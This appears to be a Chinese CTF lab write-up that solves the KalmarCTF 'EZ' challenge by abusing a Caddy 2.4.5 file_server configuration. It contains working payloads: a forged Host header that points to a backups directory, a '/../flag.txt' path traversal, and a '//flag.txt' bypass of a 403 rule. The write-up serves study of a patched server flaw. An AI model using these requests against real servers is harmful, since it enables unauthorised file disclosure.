目录

前提知识

靶场搭建

漏洞复现


前提知识

  • file_server

一个静态文件服务器,支持真实和虚拟文件系统。它通过将请求的URI路径附加到站点的根路径来形成文件路径。

默认情况下,它执行规范的URI;这意味着HTTP重定向将被用于对不以尾部斜线结尾的目录的请求(添加它)或对有尾部斜线的文件的请求(删除它)。然而,如果内部重写修改了路径的最后一个元素(文件名),则不会发出重定向。

最常见的是,file_server指令与root指令配对,为整个网站设置文件根。一个站点的根并不带有沙盒保证:文件服务器确实可以防止目录遍历,但是根中的符号链接仍然可以允许根之外的访问。

  • root设置网站根目录。它类似于root指令,只是它只适用于这个文件服务器实例,并优先于任何可能已经定义的其他站点根目录。默认:{http.vars.root}或当前工作目录。注意:这个子指令只改变这个指令的根。其他指令(如try_files或templates)要指定根目录,请使用root指令而不是这个子指令。

靶场搭建

提前在docker把caddy:2.4.5-alpine给pull下来了

这里出现了一个问题,解决方案如下

卷已声明为外部卷,但找不到

external volume "caddy_data" not founddocker volume create caddy_datadocker compose up -d

成功创建镜像

漏洞复现

这里需要修改本地的hosts文件

/C=DK/O=Kalmarunionen/CN=*.caddy.chal-kalmarc.tf
192.168.10.143      www.caddy.chal-kalmarc.tf

我们先看docker-compose文件

mkdir -p backups/ &&
cp -r *.caddy.chal-kalmarc.tf backups/ &&
rm php.caddy.chal-kalmarc.tf/flag.txt

在backups目录下将部分文件备份了一次,并且删除了flag.txt,此时我们可以到backups下面的php.caddy.chal-kalmarc.tf文件夹中获取flag.txt,运行目录在www.caddy.chal-kalmarc.tf,需要我们进行目录穿梭

我们再来看Caddyfile

*.caddy.chal-kalmarc.tf {encode zstd gziplog {output stderrlevel DEBUG}# block accidental exposure of flags:respond /flag.txt 403tls /etc/ssl/certs/caddy.pem /etc/ssl/private/caddy.key {on_demand}file_server {root /srv/{host}/}
}

 file_server: 这个配置启用了Caddy的文件服务器功能,它允许Caddy提供网站的静态文件。root指定了网站文件的根目录。{host}表示Caddy将使用来访问网站的主机名作为子目录名称,这使得Caddy可以为每个网站提供单独的文件根目录。

这里我们尝试跨目录获取flag

首先我们发现在php.caddy.chal-kalmarc.tf的index.php内容如下

GET //index.php HTTP/2

Host: backups/php.caddy.chal-kalmarc.tf

<?php
echo "I can't get this to work :/";
echo system("cat flag.txt");
?>

我们直接目录穿梭获取该目录下的flag.txt

/../flag.txt

也可以翻翻后续的补丁查找当前版本的漏洞

https://github.com/caddyserver/caddy/releases/tag/v2.4.6

  • Path matchers unescape/clean URI paths to normalize match space
  • Fix regex matching in map handler

//flag.txt

kalmarCTF(WEB|EZ)WP相关推荐

  1. 逆天通用水印支持Winform,WPF,Web,WP,Win10。支持位置选择(9个位置 ==》[X])...

    常用技能:http://www.cnblogs.com/dunitian/p/4822808.html#skill 逆天博客:http://dnt.dkil.net 逆天通用水印扩展篇~新增剪贴板系列 ...

  2. [BJDCTF 2nd] Web复现 wp

    文章目录 [BJDCTF 2nd] fake google [BJDCTF 2nd]old-hack [BJDCTF 2nd]假猪套天下第一 [BJDCTF 2nd]duangShell [BJDCT ...

  3. mysql 南邮ctf_南邮ctf之web之wp

    下面是所有现在可以做的web题的wp! 建议使用CTRL+F查找所需题目,我都有标注!这样方便! 1.签到题 直接查看源码即可 2.md5 collision 解读代码: $md51 = md5('Q ...

  4. 衡师11月月赛web题目wp

    目录 1.丢三落四的学姐 2.wep?Pwn!!! 这题web部分是buuctf中的DASCTF X GFCTF 2022十月挑战赛!的原题 1.丢三落四的学姐 访问题目位置,很明显的phpstudy ...

  5. catf1ag Web writeup(wp) 可能会持续更新

    文章目录 命令执行之我在干什么 签到题 webshell 无字符webshell int 命令执行 <我的女友是机器人> 变量覆盖_extract 等于False 啥都没了 文件包含 st ...

  6. 【N1BOOK】[第一章 web入门] wp

    第一章 web入门]常见的搜集 wp [N1BOOK][第一章 web入门]常见的搜集 wp [N1BOOK][第一章 web入门]粗心的小李 wp [N1BOOK][第一章 web入门]afr_1 ...

  7. cftshow 七夕杯 web部分WP

    前言 别人七夕陪情侣,我在七夕死做题.... 好吧,先不想别的了,这次七夕杯web前三题还算简单都做出来了,最后一题是关于java sql注入的,java还没学得很好,就没做了,看了群主的直播感觉还是 ...

  8. ichunqiu Web SQli wp

    2020.1.10 菜鸡今天又来水题了. 其实这个题,不是很水[狗头]在i春秋平台上看到了一道名为SQli的web题,想到了自己玩过1%的那个靶场也叫sqli-libs,于是手贱的打开了.咋一看还蛮友 ...

  9. 2018 ISCC re\web\misc WP

    RE RSA256 RSA 上工具 RsaCtfTool.py --publickey ./key.pub –private 公钥比较简单,直接解除对应私钥 然后 openssel My math i ...

最新文章

  1. 程序员如何做瑜伽? | 每日趣闻
  2. tomcat 修改默认访问根目录
  3. Service Cloud: Quick Look
  4. 【freemaker】ftl freemaker String常见操作语法
  5. XShell中浏览文件时上拉下拉
  6. 从工作的角度,NLP/CV/推荐系统选哪个?
  7. 团结就是力量,TeamCola浅谈创业团队腾云驾雾的归国征程
  8. 红黑树 java代码实现
  9. You don't have permission to access /nagios/ on this server
  10. python格式化输出类型_Python print 格式化输出
  11. [编程题] 被3整除
  12. 记一次基于公众号的微信H5开发项目(一)
  13. adb双击POWER键指令
  14. 随机中文姓名 php,PHP生成随机中文姓名 阿星小栈
  15. 全球混合现实产业引领者 孙立
  16. 日期格式不一致问题处理
  17. hadoop dremel Caffeine Pregel
  18. 网络编程一 - 计算机网络体系基础知识
  19. Webots2021b和ROS2调试笔记21-07-27
  20. mysql端口号3306被占用_使用pandas将excel表格数据导入到mysql中

热门文章

  1. NBA第一场牛马大战杂记
  2. laytpl语法_适应laytpl 渲染模板数据
  3. 单链表创建及代码实现对单链表的操作
  4. TFN系列DC700S手持式监测接收机
  5. 数据处理Pandas学习笔记(一)
  6. 少睡觉!张朝阳又谈 4 小时睡眠法,引争议
  7. CSS超出省略号显示
  8. CSDN如何查找用户/搜索用户/关注用户
  9. Java事务 同类内部调用场景
  10. GIT--改变使用 Git 工作方式的七个技巧